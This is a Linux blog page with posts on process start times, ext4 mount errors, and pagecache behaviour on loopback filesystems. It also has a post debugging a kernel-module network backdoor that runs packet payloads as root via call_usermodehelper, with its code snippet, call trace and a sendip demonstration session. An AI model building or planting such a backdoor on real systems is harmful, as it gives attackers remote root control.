Thursday, December 12, 2013

Calculating the start time of a process

A quick script that calculate the start time of a process in Linux:

#!/usr/bin/env python
# vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 textwidth=79 autoindent
"""
Python source code
Last modified: 12 Dec 2013 - 14:43
Last author: Laban Mwangi
Calculates the start of a process based on it's /proc/pid/stat file and
the system uptime from /proc/uptime.
Rough hewn - No exception handling
Example:
# echo python pid_start.py -p $$
python pid_start.py -p 8153
# python pid_start.py -p $$
Process 8153 started 1:05:28.800000 ago
Start time: 2013-12-12 13:56:39.081335
"""
import optparse
import os
import sys
import datetime
def calc_pid_start_time (args):
pid = args.pid
clock_ticks = os.sysconf("SC_CLK_TCK")
start_time_after_boot = float(open("/proc/%d/stat" % pid).read().split()[21])
seconds_since_boot = float(open("/proc/uptime").read().split()[0])
start_time_seconds = seconds_since_boot - start_time_after_boot / clock_ticks
start_time_delta = datetime.timedelta(seconds=start_time_seconds)
print "Process %d started %s ago" % (pid, start_time_delta)
print "Start time: ", datetime.datetime.now() - start_time_delta
def main():
"""Main function. Called when this file is a shell script"""
usage = "usage: %prog [options]"
parser = optparse.OptionParser(usage)
parser.add_option("-p", "--pid", dest="pid",
default="1", type="int",
help="PID of process")
(options, args) = parser.parse_args()
calc_pid_start_time(options)
if __name__ == '__main__':
main()
view raw pid_start.py hosted with ❤ by GitHub

Monday, November 4, 2013

EXT4 err: couldn't mount because of unsupported optional features

Backward & Forwards compatibility is great! Until it bites you.

The extN branch of filesystem is the pretty much the standard on your average GNU/Linux installation. Migrations tend to work well if N is increasing i.e. from ext2->ext3->ext4. However, things are not so rosy if you want to mount your ext4 disk on your old PC.
Ext4 which made it into mainline in 2.6.27 introduces new features such as extents that are incompatible and unknown by older kernels. Attempting to mount an incompatible extN fs on your old kernel will fail and err out with logs similar to:

EXT3-fs: sda1: couldn't mount because of unsupported optional features (240).

EXT2-fs: sda1: couldn't mount because of unsupported optional features (240).

Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,1)
The kernel here attempts to probe and mount the using the most recent extN. If that fails it tries the next ext filesystem and so on. In this case, this is a 2.6.16 kernel attempting to mount an ext4 fs with new features.


# dumpe2fs /tmp/img.ext4
.....
Filesystem volume name: /
Last mounted on: /mnt/tmp
Filesystem magic number: 0xEF53
Filesystem revision #: 1 (dynamic)
Filesystem features: has_journal ext_attr resize_inode dir_index filetype extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isize
Filesystem flags: signed_directory_hash


 The solution in this case is to use a newer kernel that understands ext4 or recompile your kernel to support ext4.

Monday, October 28, 2013

Linux kernel network backdoor

The ksplice blog has a very nice entry on hosting backdoors in hardware.
The quick summary of this backdoor is:
  1. Register a protocol handler for an unused IP protocol number .
  2. Call usermodhelper to execute the payload of the packet (skb->data).
  3. Remote system now executes any command that you send it as root.
Unfortunately, it looks like the code is either out of date and/or buggy. Attempting to modprobe the backdoor module generates the following kernel call trace:

Oct 28 10:43:47 debian kernel: [269087.601151] pkt_len: 13, ipv4, hdr_len: 5
Oct 28 10:43:47 debian kernel: [269087.601154] s_ip: 192.168.127.108,
Oct 28 10:43:47 debian kernel: [269087.601155] data: touch /tmp/x,
Oct 28 10:43:47 debian kernel: [269087.601156] About to run: touch /tmp/x,
Oct 28 10:43:47 debian kernel: [269087.601801] Modules linked in: backdoor_buggy(O) vboxsf(O) ppdev lp bnep rfcomm bluetooth rfkill uinput nfsd nfs nfs_acl auth_rpcgss fscache lockd sunrpc ext2 loop joydev iTCO_wdt iTCO_vendor_support psmouse pcspkr serio_raw evdev rng_core usbhid hid i2c_piix4 i2c_core snd_intel8x0 snd_ac97_codec snd_pcm snd_page_alloc snd_timer snd soundcore ac97_bus parport_pc battery processor parport vboxguest(O) thermal_sys ac button power_supply ext4 crc16 jbd2 mbcache dm_mod sg sd_mod sr_mod crc_t10dif cdrom ata_generic ata_piix ahci libahci ohci_hcd ehci_hcd libata usbcore e1000 usb_common scsi_mod [last unloaded: scsi_wait_scan]
Oct 28 10:43:47 debian kernel: [269087.601847] Pid: 7862, comm: sendip Tainted: G O 3.2.0-4-amd64 #1 Debian 3.2.46-1+deb7u1
Oct 28 10:43:47 debian kernel: [269087.601849] Call Trace:
Oct 28 10:43:47 debian kernel: [269087.601851] <IRQ> [<ffffffff813480b9>] ? __schedule_bug+0x3e/0x52
Oct 28 10:43:47 debian kernel: [269087.601859] [<ffffffff8134d29d>] ? __schedule+0x85/0x610
Oct 28 10:43:47 debian kernel: [269087.601863] [<ffffffff81041f3d>] ? __cond_resched+0x1d/0x26
Oct 28 10:43:47 debian kernel: [269087.601865] [<ffffffff8134d877>] ? _cond_resched+0x12/0x1c
Oct 28 10:43:47 debian kernel: [269087.601866] [<ffffffff8134d89f>] ? wait_for_common+0x1e/0x119
Oct 28 10:43:47 debian kernel: [269087.601869] [<ffffffff8134ebc7>] ? _raw_spin_unlock_irqrestore+0xe/0xf
Oct 28 10:43:47 debian kernel: [269087.601872] [<ffffffff8105af63>] ? queue_work_on+0x2f/0x3d
Oct 28 10:43:47 debian kernel: [269087.601875] [<ffffffff8105972c>] ? call_usermodehelper_exec+0xa3/0xe8
Oct 28 10:43:47 debian kernel: [269087.601879] [<ffffffffa03ec0e3>] ? exec_packet+0xe3/0x102 [backdoor_buggy]
Oct 28 10:43:47 debian kernel: [269087.601883] [<ffffffff812b6bf1>] ? ip_local_deliver_finish+0x143/0x1b0
Oct 28 10:43:47 debian kernel: [269087.601886] [<ffffffff8128d974>] ? __netif_receive_skb+0x3fb/0x42d
Oct 28 10:43:47 debian kernel: [269087.601888] [<ffffffff8128da12>] ? process_backlog+0x6c/0x123
Oct 28 10:43:47 debian kernel: [269087.601892] [<ffffffff8119d268>] ? blk_done_softirq+0x65/0x74
Oct 28 10:43:47 debian kernel: [269087.601894] [<ffffffff8128f907>] ? net_rx_action+0xa1/0x1af
Oct 28 10:43:47 debian kernel: [269087.601897] [<ffffffff8104b614>] ? __local_bh_enable+0x40/0x77
Oct 28 10:43:47 debian kernel: [269087.601899] [<ffffffff8104c1ac>] ? __do_softirq+0xb9/0x177
Oct 28 10:43:47 debian kernel: [269087.601902] [<ffffffff81355dec>] ? call_softirq+0x1c/0x30
Oct 28 10:43:47 debian kernel: [269087.601903] <EOI> [<ffffffff8100f8cd>] ? do_softirq+0x3c/0x7b
Oct 28 10:43:47 debian kernel: [269087.601909] [<ffffffff8104c0d7>] ? _local_bh_enable_ip.isra.11+0x76/0x88
Oct 28 10:43:47 debian kernel: [269087.601911] [<ffffffff81290cd3>] ? dev_queue_xmit+0x458/0x46b
Oct 28 10:43:47 debian kernel: [269087.601914] [<ffffffff812b950c>] ? ip_finish_output2+0x1ca/0x1f9
Oct 28 10:43:47 debian kernel: [269087.601916] [<ffffffff812d4252>] ? raw_sendmsg+0x5ef/0x7b6
Oct 28 10:43:47 debian kernel: [269087.601920] [<ffffffff810b47bd>] ? sleep_on_page+0xa/0xa
Oct 28 10:43:47 debian kernel: [269087.601923] [<ffffffff8110b0b4>] ? __d_lookup_rcu+0x34/0xfe
Oct 28 10:43:47 debian kernel: [269087.601925] [<ffffffff810b4683>] ? find_get_page+0x40/0x62
Oct 28 10:43:47 debian kernel: [269087.601928] [<ffffffff810364e8>] ? should_resched+0x5/0x23
Oct 28 10:43:47 debian kernel: [269087.601932] [<ffffffff8127e841>] ? sock_sendmsg+0xc1/0xde
Oct 28 10:43:47 debian kernel: [269087.601934] [<ffffffff8134ecfb>] ? _raw_spin_lock_bh+0xe/0x1c
Oct 28 10:43:47 debian kernel: [269087.601937] [<ffffffff8128140e>] ? release_sock+0x17/0x101
Oct 28 10:43:47 debian kernel: [269087.601939] [<ffffffff8104c07f>] ? _local_bh_enable_ip.isra.11+0x1e/0x88
Oct 28 10:43:47 debian kernel: [269087.601941] [<ffffffff812bcd93>] ? do_ip_setsockopt.isra.6+0xa4a/0xa87
Oct 28 10:43:47 debian kernel: [269087.601943] [<ffffffff810364e8>] ? should_resched+0x5/0x23
Oct 28 10:43:47 debian kernel: [269087.601945] [<ffffffff8134d86c>] ? _cond_resched+0x7/0x1c
Oct 28 10:43:47 debian kernel: [269087.601947] [<ffffffff8127d28f>] ? copy_from_user+0x18/0x30
Oct 28 10:43:47 debian kernel: [269087.601950] [<ffffffff812800d7>] ? sys_sendto+0xf7/0x137
Oct 28 10:43:47 debian kernel: [269087.601953] [<ffffffff812bcea1>] ? ip_setsockopt+0x2b/0x8b
Oct 28 10:43:47 debian kernel: [269087.601955] [<ffffffff81353b92>] ? system_call_fastpath+0x16/0x1b
view raw gistfile1.txt hosted with ❤ by GitHub
Further investigations reveal that this is due to us calling a sleepy method from an atomic one... call_usermodhelper will eventually call wait_for_common which sleeps.  You do not want to sleep in an ISR routine.

lmwangi@debian:~/backdoor$ gdb backdoor_buggy.ko
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/lmwangi/backdoor/backdoor_buggy.ko...done.
(gdb) l *exec_packet+0xe3
0x107 is in exec_packet (/home/lmwangi/backdoor/backdoor_buggy.c:17).
12 static void shell_exec (struct sk_buff *skb) {
13 char *envp[4] = {"HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
14 char *cmd[] = {"/bin/sh", "-c", skb->data, NULL};
15 printk(KERN_INFO "About to run: %s, ", skb->data);
16 call_usermodehelper(cmd[0], cmd, envp, UMH_WAIT_EXEC);
17 kfree_skb(skb);
18 }
view raw bugg_code.c hosted with ❤ by GitHub
The fix for this is to use a deferrable; we need to stop working in an interrupt context and schedule the non atomic work for future processing.

One possible solution is to use work queues for deferrable work. Here's an example implementation in github using work queues.

And here's an example session:
# Dropping a cookie
$ ls /tmp/
ssh-6CCizuH8ioj3
$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
$ ls /tmp/
ssh-6CCizuH8ioj3 x
# And another one
$ echo -ne "touch /tmp/hello \0" | hexdump -C
00000000 74 6f 75 63 68 20 2f 74 6d 70 2f 68 65 6c 6c 6f |touch /tmp/hello|
00000010 20 00 | .|
$ echo -ne "touch /tmp/hello \0" > payload
$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
$ ls /tmp/
hello ssh-6CCizuH8ioj3 x
$ sudo tcpdump -i any -n icmp&
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
[1]+ sudo tcpdump -i any -n icmp &
$ echo -ne "ping -c 2 8.8.8.8 \0" > payload
$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
$
11:55:18.500262 IP 192.168.1.15 > 8.8.8.8: ICMP echo request, id 3222, seq 1, length 64
11:55:18.699243 IP 8.8.8.8 > 192.168.1.15: ICMP echo reply, id 3222, seq 1, length 64
11:55:19.501678 IP 192.168.1.15 > 8.8.8.8: ICMP echo request, id 3222, seq 2, length 64
11:55:19.706129 IP 8.8.8.8 > 192.168.1.15: ICMP echo reply, id 3222, seq 2, length 64
---- Corresponding logs
Oct 28 11:51:30 debian kernel: [ 81.898799] pkt_len: 13, ipv4, hdr_len: 5
Oct 28 11:51:30 debian kernel: [ 81.898802] s_ip: 192.168.1.15,
Oct 28 11:51:30 debian kernel: [ 81.898803] data: touch /tmp/x, All done..
Oct 28 11:51:30 debian kernel: [ 81.898809] Worker received skb ffff88001ee191c0
Oct 28 11:52:35 debian kernel: [ 81.898810] worker received data: touch /tmp/x,
Oct 28 11:52:35 debian kernel: [ 146.791121] pkt_len: 0, ipv4, hdr_len: 5
Oct 28 11:52:35 debian kernel: [ 146.791125] s_ip: 192.168.1.15,
Oct 28 11:52:35 debian kernel: [ 146.791127] data: , All done..
Oct 28 11:52:35 debian kernel: [ 146.791135] Worker received skb ffff88001bffc0c0
Oct 28 11:53:03 debian kernel: [ 146.791137] worker received data: ,
Oct 28 11:53:03 debian kernel: [ 174.826200] pkt_len: 18, ipv4, hdr_len: 5
Oct 28 11:53:03 debian kernel: [ 174.826203] s_ip: 192.168.1.15,
Oct 28 11:53:03 debian kernel: [ 174.826204] data: touch /tmp/hello , All done..
Oct 28 11:53:03 debian kernel: [ 174.826210] Worker received skb ffff88001bffc6c0
Oct 28 11:54:29 debian kernel: [ 174.826211] worker received data: touch /tmp/hello ,
Oct 28 11:54:29 debian kernel: [ 260.700901] pkt_len: 21, ipv4, hdr_len: 5
Oct 28 11:54:29 debian kernel: [ 260.700904] s_ip: 192.168.1.15,
Oct 28 11:54:29 debian kernel: [ 260.700905] data: ping -c 2 192.168.1.15 , All done..
Oct 28 11:54:29 debian kernel: [ 260.700912] Worker received skb ffff88001bffc6c0
Oct 28 11:55:18 debian kernel: [ 260.700913] worker received data: ping -c 2 192.168.1.15 ,
Oct 28 11:55:18 debian kernel: [ 309.900887] pkt_len: 20, ipv4, hdr_len: 5
Oct 28 11:55:18 debian kernel: [ 309.900891] s_ip: 192.168.1.15,
Oct 28 11:55:18 debian kernel: [ 309.900892] data: ping -c 2 8.8.8.8 , All done..
Oct 28 11:55:18 debian kernel: [ 309.900900] Worker received skb ffff88001d86f680
view raw play.sh hosted with ❤ by GitHub

Friday, October 11, 2013

Linux: The pagecache and the loop back fs

Linux has a mechanism that allows you to create a block device that is backed by a file.  Most commonly, this is used to provide an encrpyted fs. All this is fine and dandy. However, you have to factor in that the Linux OS (And practically any other OS) will want to cache contents for block device in memory.
The reasoning here is. Accessing the contents of a file from a disk will cost you ~5ms. Rather than incur this cost on future reads, the OS caches the contents of the recently used file in a page cache. Future reads or writes to this file will hit the page cache which is orders of magnitude faster than your average disk.
This means that your writes will linger in memory until the your backing file's contents get evicted from the page cache. Using o_direct on files that are hosted within the loop backed fs won't help. You have to force pagecache evictions. The easiest way to do this is a call to fadvise and a sync to force pdflush to write your changes.

Here's an experiment:
I have 3 windows open.:
  • One running blktrace  which shows VFS activity.
  • One that has a oneshot dd.
  • One that has a bunch of shell commands that poke around the loop mounted fs.
The experiment is executed in the following order:
  1. An fadvise and a sync at the beginning to make sure the pagecache is clean and all writes are on the FS.
  2. We also print out a couple of stats from /proc/meminfo.
  3. We issue a dd call with direct I/O (oflag=direct).
  4. Print stats from /proc/meminfo and take a look at the backing file using debugfs.
  5. Show how much of the backing file is cached in the pagecache by using fincore.
  6. Evict the pagecache using the fadvise command from linux-ftools.
  7. Force a sync which wakes up pdflush to write out the dirty buffers.
  8. Run debugfs to take a peek at the backing fs again.
  9. Print out some more stats from meminfo.
Here's the script:
# Show the mountpoint for the loopbacked fs
mount |grep zero;
# Meminfo stats
cat /proc/meminfo | egrep -i "dirty|cache";
# Give humans a chance to run dd in another window
echo -e "\n**Sleeping for 10.. Waiting for I/O**\n";
sleep 10;
# Meminfo stats
cat /proc/meminfo | egrep -i "dirty|cache";
echo -e "\n****\n";
# What does the world look like if we view the loopback fs via VFS (which effectively get it's results from the pagecache)
ls -lisa /tmp/bah;
echo -e "\n****\n";
# Meminfo stats
cat /proc/meminfo | egrep -i "dirty|cach|buff";
echo -e "\n****\n";
# What the actual backing file has (Reading the <real> disk data)
echo ls -l | /sbin/debugfs /tmp/zeros;
echo -e "\n\n****\n";
# How much of our backing file is in the pagecache
echo -e "\n****\n";
fincore /tmp/zeros;
# Kicking out the file from the pagecache
echo -e "\n****\n";
fadvise /tmp/zeros POSIX_FADV_DONTNEED;
# More stats
echo -e "\n****\n";
cat /proc/meminfo | egrep -i "dirty|cach|buff";
# Wake up pdflush and wait for it to flush dirty pages to the <real> hard disk
sync;
echo -e "\n*** Sleeping for 10.***\n";
sleep 10;
echo -e "\n****\n";
# Show whether we were able to evict the backing file from the page cache
fincore /tmp/zeros;
echo -e "\n****\n";
# Read the backing file contents
echo ls -l |/sbin/debugfs /tmp/zeros ;
echo -e "\n****\n";
# Last bunch of stats
cat /proc/meminfo | egrep -i "dirty|cach|buff";
echo -e "\n****\n";
And the output generated:
# Results for https://gist.github.com/labeneator/6937753
# Show the mountpoint for the loopbacked fs
/tmp/zeros on /tmp/bah type ext2 (rw,loop=/dev/loop0)
# Meminfo stats before ddd
Cached: 1947592 kB
SwapCached: 0 kB
Dirty: 0 kB
**Sleeping for 10.. Waiting for I/O**
## Actual dd command
###
## $ dd if=blktrace of=/tmp/bah/blktrace oflag=sync
## 212+1 records in
## 212+1 records out
## 108740 bytes (109 kB) copied, 0.016489 seconds, 6.6 MB/s
##
##
# Meminfo stats after dd. Notice that the Cached value grows by the 'blktrace' size from above '108k'
# Also note that we now have some dirty blocks. I believe that these are made up of the blktrace content + ext3 metadata + any other OS dirty buffers
Cached: 1947700 kB
SwapCached: 0 kB
Dirty: 160 kB
****
# What does the world look like if we view the loopback fs via VFS (which effectively get it's results from the pagecache)
# This is an ls -alisa /tmp/bah
total 309
2 1 drwxr-xr-x 3 23142 xxxx 1024 Oct 11 17:30 .
8936929 188 drwxrwxrwt 12 root root 188416 Oct 11 17:01 ..
12 108 -rw-r--r-- 1 root root 108740 Oct 11 17:30 blktrace
11 12 drwx------ 2 root root 12288 Oct 9 14:42 lost+found
# What does the world look like if we view the loopbacking file via debugfs.
# This reflects what's actually on disk
# Note that blktrace file is missing....
debugfs 1.39 (29-May-2006)
debugfs: 2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 .
2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 ..
11 40700 (2) 0 0 12288 9-Oct-2013 14:42 lost+found
debugfs:
****
# And we can see that it's in the pagecache
filename size total_pages min_cached page cached_pages cached_size cached_perc
-------- ---- ----------- --------------- ------------ ----------- -----------
/tmp/zeros 1,048,576 256 0 37 151,552 14.45
---
total cached size: 151,552
# Running fadvise to evict /tmp/zeros from the page cache
****
Going to fadvise /tmp/zeros as mode POSIX_FADV_DONTNEED
offset: 0
length: 1048576
mode: POSIX_FADV_DONTNEED
WIN
# Post fadvise stats
Buffers: 522112 kB
Cached: 1947548 kB
SwapCached: 0 kB
Dirty: 12 kB
###### Running sync to awake pdflush and sleeping for 10 secs
# Page cache stats after eviction
filename size total_pages min_cached page cached_pages cached_size cached_perc
-------- ---- ----------- --------------- ------------ ----------- -----------
/tmp/zeros 1,048,576 256 0 4 16,384 1.56
---
total cached size: 16,384
## What the backing fs looks like after pagecache eviction
debugfs 1.39 (29-May-2006)
debugfs: 2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 .
2 40755 (2) 23142 100 1024 11-Oct-2013 17:30 ..
11 40700 (2) 0 0 12288 9-Oct-2013 14:42 lost+found
12 100644 (1) 0 0 108740 11-Oct-2013 17:30 blktrace
debugfs:
The interesting bits to note here is that writes to a loop back filesystems in Linux are not guaranteed to be on disk until you evict the pagecache and force a sync.

If you are interested in further digging, here's debug output from:

blktrace:
# printf "%10s %15s %5s %10s %5s %8s %5s %14s %8s %14s %5s\n" "Sequence" "Timestamp" "CPU" "Process" "PID" "devid" "RWBS" "Sector" "Blocks" "Bytes" "Action";./blktrace -d /dev/loop0 -o - | ./blkparse -i - -f "%10s %5T.%9t %5c %10C %5p %8D %5d %14S %8n %14N %2a\n"
Sequence Timestamp CPU Process PID devid RWBS Sector Blocks Bytes Action
1 0.000000000 0 dd 32506 7,0 W 76 2 1024 Q
2 0.000006148 0 dd 32506 7,0 W 18 2 1024 Q
3 0.000007682 0 dd 32506 7,0 N 0 0 0 U
4 0.000023931 0 dd 32506 7,0 W 76 2 1024 Q
5 0.000025840 0 dd 32506 7,0 W 18 2 1024 Q
6 0.000026339 0 dd 32506 7,0 N 0 0 0 U
7 0.000035417 0 dd 32506 7,0 W 78 2 1024 Q
8 0.000037037 0 dd 32506 7,0 W 18 2 1024 Q
9 0.000037982 0 dd 32506 7,0 N 0 0 0 U
10 0.000059674 0 dd 32506 7,0 W 78 2 1024 Q
11 0.000061141 0 dd 32506 7,0 W 18 2 1024 Q
12 0.000061527 0 dd 32506 7,0 N 0 0 0 U
13 0.000068399 0 dd 32506 7,0 W 80 2 1024 Q
14 0.000069862 0 dd 32506 7,0 W 18 2 1024 Q
15 0.000070181 0 dd 32506 7,0 N 0 0 0 U
16 0.000077161 0 dd 32506 7,0 W 80 2 1024 Q
17 0.000078575 0 dd 32506 7,0 W 18 2 1024 Q
18 0.000078917 0 dd 32506 7,0 N 0 0 0 U
19 0.000085263 0 dd 32506 7,0 W 82 2 1024 Q
20 0.000086591 0 dd 32506 7,0 W 18 2 1024 Q
21 0.000086925 0 dd 32506 7,0 N 0 0 0 U
22 0.000093163 0 dd 32506 7,0 W 82 2 1024 Q
23 0.000094517 0 dd 32506 7,0 W 18 2 1024 Q
24 0.000094836 0 dd 32506 7,0 N 0 0 0 U
25 0.000106479 0 dd 32506 7,0 W 84 2 1024 Q
26 0.000108122 0 dd 32506 7,0 W 18 2 1024 Q
27 0.000108504 0 dd 32506 7,0 N 0 0 0 U
28 0.000115147 0 dd 32506 7,0 W 84 2 1024 Q
29 0.000116805 0 dd 32506 7,0 W 18 2 1024 Q
30 0.000117139 0 dd 32506 7,0 N 0 0 0 U
31 0.000124562 0 dd 32506 7,0 W 86 2 1024 Q
32 0.000125991 0 dd 32506 7,0 W 18 2 1024 Q
33 0.000126351 0 dd 32506 7,0 N 0 0 0 U
34 0.000133418 0 dd 32506 7,0 W 86 2 1024 Q
35 0.000134810 0 dd 32506 7,0 W 18 2 1024 Q
36 0.000135148 0 dd 32506 7,0 N 0 0 0 U
37 0.000141715 0 dd 32506 7,0 W 88 2 1024 Q
38 0.000143133 0 dd 32506 7,0 W 18 2 1024 Q
39 0.000143437 0 dd 32506 7,0 N 0 0 0 U
40 0.000150440 0 dd 32506 7,0 W 88 2 1024 Q
41 0.000151835 0 dd 32506 7,0 W 18 2 1024 Q
42 0.000152226 0 dd 32506 7,0 N 0 0 0 U
43 0.000158722 0 dd 32506 7,0 W 90 2 1024 Q
44 0.000160062 0 dd 32506 7,0 W 18 2 1024 Q
45 0.000160399 0 dd 32506 7,0 N 0 0 0 U
46 0.000166581 0 dd 32506 7,0 W 90 2 1024 Q
47 0.000167879 0 dd 32506 7,0 W 18 2 1024 Q
48 0.000168197 0 dd 32506 7,0 N 0 0 0 U
49 0.000178014 0 dd 32506 7,0 W 92 2 1024 Q
50 0.000179465 0 dd 32506 7,0 W 18 2 1024 Q
51 0.000179878 0 dd 32506 7,0 N 0 0 0 U
52 0.000187129 0 dd 32506 7,0 W 92 2 1024 Q
53 0.000188629 0 dd 32506 7,0 W 18 2 1024 Q
54 0.000189027 0 dd 32506 7,0 N 0 0 0 U
55 0.000196251 0 dd 32506 7,0 W 94 2 1024 Q
56 0.000197762 0 dd 32506 7,0 W 18 2 1024 Q
57 0.000198156 0 dd 32506 7,0 N 0 0 0 U
58 0.000204736 0 dd 32506 7,0 W 94 2 1024 Q
59 0.000206150 0 dd 32506 7,0 W 18 2 1024 Q
60 0.000206540 0 dd 32506 7,0 N 0 0 0 U
61 0.000213231 0 dd 32506 7,0 W 96 2 1024 Q
62 0.000214687 0 dd 32506 7,0 W 18 2 1024 Q
63 0.000215017 0 dd 32506 7,0 N 0 0 0 U
64 0.000236458 0 dd 32506 7,0 W 96 2 1024 Q
65 0.000238025 0 dd 32506 7,0 W 18 2 1024 Q
66 0.000238573 0 dd 32506 7,0 N 0 0 0 U
67 0.000245846 0 dd 32506 7,0 W 98 2 1024 Q
68 0.000247219 0 dd 32506 7,0 W 18 2 1024 Q
69 0.000247605 0 dd 32506 7,0 N 0 0 0 U
70 0.000255846 0 dd 32506 7,0 W 98 2 1024 Q
71 0.000257182 0 dd 32506 7,0 W 18 2 1024 Q
72 0.000257508 0 dd 32506 7,0 N 0 0 0 U
73 0.000266975 0 dd 32506 7,0 W 102 2 1024 Q
74 0.000268183 0 dd 32506 7,0 W 100 2 1024 Q
75 0.000268667 0 dd 32506 7,0 N 0 0 0 U
76 0.000272403 0 dd 32506 7,0 W 18 2 1024 Q
77 0.000273191 0 dd 32506 7,0 N 0 0 0 U
78 0.000279433 0 dd 32506 7,0 W 102 2 1024 Q
79 0.000280963 0 dd 32506 7,0 W 18 2 1024 Q
80 0.000281342 0 dd 32506 7,0 N 0 0 0 U
81 0.000288619 0 dd 32506 7,0 W 104 2 1024 Q
82 0.000289838 0 dd 32506 7,0 W 100 2 1024 Q
83 0.000290213 0 dd 32506 7,0 N 0 0 0 U
84 0.000294249 0 dd 32506 7,0 W 18 2 1024 Q
85 0.000295044 0 dd 32506 7,0 N 0 0 0 U
86 0.000301218 0 dd 32506 7,0 W 104 2 1024 Q
87 0.000302681 0 dd 32506 7,0 W 18 2 1024 Q
88 0.000303004 0 dd 32506 7,0 N 0 0 0 U
